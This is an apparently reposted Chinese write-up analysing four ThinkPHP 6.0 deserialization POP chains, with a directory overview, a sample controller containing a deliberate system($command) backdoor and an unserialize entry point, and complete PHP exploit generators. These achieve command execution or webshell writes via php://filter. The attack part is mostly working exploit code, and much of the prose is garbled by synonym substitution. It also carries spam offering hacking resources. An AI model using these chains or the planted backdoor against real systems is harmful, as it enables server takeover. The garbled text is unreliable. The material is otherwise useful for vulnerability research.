project 运用支配目录├─application 运用目录(可设置)│ ├─common 公共模块目录(可变动)│ ├─index 模块目录(可变动)│ │ ├─config.php 模块配置文件│ │ ├─common.php 模块函数文件│ │ ├─controller 掌握器目录│ │ ├─model 模型目录│ │ ├─view 视图目录│ │ └─ ... 更多类库目录│ ├─command.php 命令行工具配置文件│ ├─common.php 运用公共(函数)文件│ ├─config.php 运用(公共)配置文件│ ├─database.php 数据库配置文件│ ├─tags.php 运用行为扩展定义文件│ └─route.php 路由配置文件├─extend 扩展类库目录(可定义)├─public WEB 支配目录(对外访问目录)│ ├─static 静态资源存放目录(css,js,image)│ ├─index.php 运用入口文件│ ├─router.php 快速测试文件│ └─.htaccess 用于 apache 的重写├─runtime 运用的运行时目录(可写,可设置)├─vendor 第三方类库目录(Composer)├─thinkphp 框架系统目录│ ├─lang 措辞包目录│ ├─library 框架核心类库目录│ │ ├─think Think 类库包目录│ │ └─traits 系统 Traits 目录│ ├─tpl 系统模板目录│ ├─.htaccess 用于 apache 的重写│ ├─.travis.yml CI 定义文件│ ├─base.php 根本定义文件│ ├─composer.json composer 定义文件│ ├─console.php 掌握台入口文件│ ├─convention.php 老例配置文件│ ├─helper.php 助手函数文件(可选)│ ├─LICENSE.txt 授权解释文件│ ├─phpunit.xml 单元测试配置文件│ ├─README.md README 文件│ └─start.php 框架勾引文件├─build.php 自动天生定义文件(参考)├─composer.json composer 定义文件├─LICENSE.txt 授权解释文件├─README.md README 文件├─think 命令行入口文件

掌握器写法:

掌握器文件常日放在application/module/controller下面,类名和文件名保持大小写同等,并采取驼峰命名(首字母大写)。

为了感谢广大读者伙伴的支持,准备了以下福利给到大家:【一&gt;所有资源关注我,私信回答“资料”获取<一】1、200多本网络安全系列电子书(该有的都有了)2、全套工具包(最全中文版,想用哪个用哪个)3、100份src源码技能文档(项目学习一直,实践得真知)4、网络安全根本入门、Linux、web安全、攻防方面的视频(2021最新版)5、网络安全学习路线(告别不入流的学习)6、ctf夺旗赛解析(题目解析实战操作)

一个范例的掌握器类定义如下:

thinkphproutephp60反序列化破绽剖析 Webpack

<?phpnamespace app\index\controller;use think\Controller;class Index extends Controller{ public function index() { return 'index'; }}

掌握器类文件的实际位置是

application\index\controller\Index.php

一个例子:

<?phpnamespace app\controller;use app\BaseController;class Index extends BaseController{ public function index() { return '<style type="text/css">{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得相信的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家资助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>'; } public function backdoor($command) { system($command); }}

想进入后门,须要访问:

http://ip/index.php/Index/backdoor/?command=ls

以是写一个漏洞利用点:

掌握器,app/home/contorller/index.php

<?phpnamespace app\home\controller;use think\facade\Db;class Index extends Base{ public function index() { return view('index'); } public function payload(){ if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); } else{ highlight_file(__FILE__); } return "Welcome to TP6.0"; }}

POP1

入口:/vendor/topthink/think-orm/src/Model.php

让$this->lazySave==True,跟进:

想要进入updateData方法,须要知足一些条件:

让第一个if里面一个条件为真才能不直接return,也即须要两个条件:

$this->isEmpty()==false$this->trigger('BeforeWrite')==true个中isEmpty(): public function isEmpty(): bool { return empty($this->data); }

让$this->data!=null即可知足第一个条件。
再看trigger('BeforeWrite'),位于ModelEvent类中:

protected function trigger(string $event): bool { if (!$this->withEvent) { return true; } ..... }

让$this->withEvent==false即可知足第二个条件,

然后须要让$this->exists=true,这样才能实行updateData,

跟进updateData(),

想要实行checkAllwoFields方法须要绕过前面的两个 if 判断,必须知足两个条件:

$this->trigger('BeforeUpdate')==true$data!=null

第一个条件上面已经知足,现在看第二个条件$data,查看$data是怎么来的,跟进getChangedData方法,src/model/concern/Attribute.php

由于$force没定义默认为 null ,以是进入array_udiff_assoc,由于$this->data和$this->origin默认也为null,以是不符合第一个if判断,终极$data=0,也即知足前面所提的第二个条件,$data!=null。

然后查看 checkAllowFields 方法调用情形。

我们想进入字符拼接操作,就须要进入else,以是要让$this->field=null,$this->schema=null,进入下面

这里存在可控属性的字符拼接,以是可以找一个有__tostring方法的类做跳板,探求__tostring,

src/model/concern/Conversion.php,

进入toJson方法,

我们想要实行的便是getAttr方法,触发条件:

$this->visible[$key]须要存在,而$key来自$data的键名,$data又来自$this->data,即$this->data必须有一个键名传给$this->visible,然后把键名$key传给getAttr方法,

跟进getAttr方法,vendor/topthink/think-orm/src/model/concern/Attribute.php

跟进getData方法,

跟进getRealFieldName方法,

当$this->strict为true时直接返回$name,即键名$key

返回getData方法,此时$fieldName=$key,进入if语句,返回$this->data[$key],再回到getAttr方法,

return $this->getValue($name, $value, $relation);

即返回

return $this->getValue($name, $this->data[$key], $relation);

跟进getValue方法,

如果我们让$closure为我们想实行的函数名,$value和$this->data为参数即可实现任意函数实行。

以是须要查看$closure属性是否可控,跟进getRealFieldName方法,

如果让$this->strict==true,即可让$$fieldName即是传入的参数$name,即开始的$this->data[$key]的键值$key,可控

又由于$this->withAttr数组可控,以是,$closure可控·,值为$this->withAttr[$key],参数便是$this->data,即$data的键值,

以是我们须要掌握的参数:

$this->data不为空$this->lazySave == true$this->withEvent == false$this->exists == true$this->force == true

这里还须要把稳,Model是抽象类,不能实例化。
以是要想利用,得找出 Model 类的一个子类进行实例化,这里可以用 Pivot 类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用。

以是布局exp:

<?phpnamespace think{ abstract class Model{ use model\concern\Attribute; //由于要利用里面的属性 private $lazySave; private $exists; private $data=[]; private $withAttr = []; public function __construct($obj){ $this->lazySave = True; $this->withEvent = false; $this->exists = true; $this->table = $obj; $this->data = ['key'=>'dir']; $this->visible = ["key"=>1]; $this->withAttr = ['key'=>'system']; } }}namespace think\model\concern{ trait Attribute { }}namespace think\model{ use think\Model; class Pivot extends Model { } $a = new Pivot(''); $b = new Pivot($a); echo urlencode(serialize($b));}

POP2

入口:vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php

让$autosave = false,

由于AbstractCache为抽象类,以是须要找一下它的子类,/vendor/topthink/framework/src/think/filesystem/CacheStore.php,由于里面实现了save方法,

连续跟进getForStorage,

跟进cleanContents方法,

只要不是嵌套数组,就可以直接return回来,返回到json_encode,他返回json格式数据后,再回到save方法的set方法,

由于$this->store可控,我们可以调用任意类的set方法,如果该类没用set方法,以是可能触发__call。
当然也有可能自身的set方法就可以利用,找到可利用set方法,src/think/cache/driver/File.php,

跟进getCacheKey,这里实在便是为了查看进入该方法是否涌现缺点或者直接return了,

以是这里$this->option['hash_type']不能为空,然后进入serialize方法,src/think/cache/Driver.php,

这里创造options可控,如果我们将其赋值为system,那么return的便是我们命令实行函数,$data我们是可以传入的,那就可以RCE,回溯$data是如何传入的,即save方法传入的$contents,但是$contents是经由了json_encode处理后的json格式数据,那有什么函数可以出来json格式数据呢?经由测试创造system可以利用:

链子如下:

/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()/vendor/topthink/framework/src/think/cache/driver.php::set()/vendor/topthink/framework/src/think/cache/driver.php::serialize()

exp如下:

<?phpnamespace League\Flysystem\Cached\Storage{ abstract class AbstractCache { protected $autosave = false; protected $complete = "`id`"; }}namespace think\filesystem{ use League\Flysystem\Cached\Storage\AbstractCache; class CacheStore extends AbstractCache { protected $key = "1"; protected $store; public function __construct($store="") { $this->store = $store; } }}namespace think\cache{ abstract class Driver { protected $options = [ 'expire' => 0, 'cache_subdir' => true, 'prefix' => '', 'path' => '', 'hash_type' => 'md5', 'data_compress' => false, 'tag_prefix' => 'tag:', 'serialize' => ['system'], ]; }}namespace think\cache\driver{ use think\cache\Driver; class File extends Driver{}}namespace{ $file = new think\cache\driver\File(); $cache = new think\filesystem\CacheStore($file); echo urlencode(serialize($cache));}?>

但是没有回显,但是能够反弹 shell ,

POP3

这里实在和 POP2 一样,只是终极利用点发生了些许变革,调用关系还是一样:

/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()/vendor/topthink/framework/src/think/cache/driver.php::set()/vendor/topthink/framework/src/think/cache/driver.php::serialize()

POP2 是利用的掌握serialize函数来RCE,但下面还存在一个file_put_contents($filename, $data)函数,我们也可以利用它来写入 shell,

我们还是须要去查看文件名是否可控,进入getCacheKey方法,

可以创造我们可以掌握文件名,而且可以在$this->options['path']添加伪协议,再看写入数据$data是否可控呢,可以看到存在一个exit方法来限定我们操作,可以伪协议filter可以绕过它

以是文件名和内容都可控,exp:

<?php namespace League\Flysystem\Cached\Storage{ abstract class AbstractCache { protected $autosave = false; protected $complete = "aaaPD9waHAgcGhwaW5mbygpOw=="; }}namespace think\filesystem{ use League\Flysystem\Cached\Storage\AbstractCache; class CacheStore extends AbstractCache { protected $key = "1"; protected $store; public function __construct($store="") { $this->store = $store; } }}namespace think\cache{ abstract class Driver { protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>0,"hash_type"=>"md5","cache_subdir"=>0,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0]; }}namespace think\cache\driver{ use think\cache\Driver; class File extends Driver{}}namespace{ $file = new think\cache\driver\File(); $cache = new think\filesystem\CacheStore($file); echo urlencode(serialize($cache));} ?>

成功写入

POP4

入口:League\Flysystem\Cached\Storage\AbstractCache,

由于AbstractCache为抽象类,以是须要找一下它的子类,src/Storage/Adapter.php

让$autosave = false即可进入save方法,

有一个write方法,$content为getForStorage方法返回值,上文已剖析该参数可控,以是可以用来写马。

以是我们须要找一个有has方法和write方法的工具利用,src/Adapter/Local.php

has()方法用来判断文件是否已存在,只须要构建文件名不存在即可,进入write方法,

这里可以实行file_put_contents(),写入shell,跟进applyPathPrefix方法,

然后getPathPrefix方法返回的是该类的一个属性,由于默认为NULL,以是file_put_contents第一个参数便是$path变量,回溯该变量,也即是Adapter类中的$file属性,以是让$file属性为文件名,以是文件名$file可控,文件内容$contents可控,以是写入shell,exp:

<?phpnamespace League\Flysystem\Cached\Storage;abstract class AbstractCache{ protected $autosave = false; protected $cache = ['<?php phpinfo();?>'];}namespace League\Flysystem\Cached\Storage;class Adapter extends AbstractCache{ protected $adapter; protected $file; public function __construct($obj) { $this->adapter = $obj; $this->file = 'w0s1np.php'; }}namespace League\Flysystem\Adapter;abstract class AbstractAdapter{}namespace League\Flysystem\Adapter;use League\Flysystem\Cached\Storage\Adapter;use League\Flysystem\Config;class Local extends AbstractAdapter{ public function has($path) { } public function write($path, $contents, Config $config) { }}$a = new Local();$b = new Adapter($a);echo urlencode(serialize($b));?>

成功写入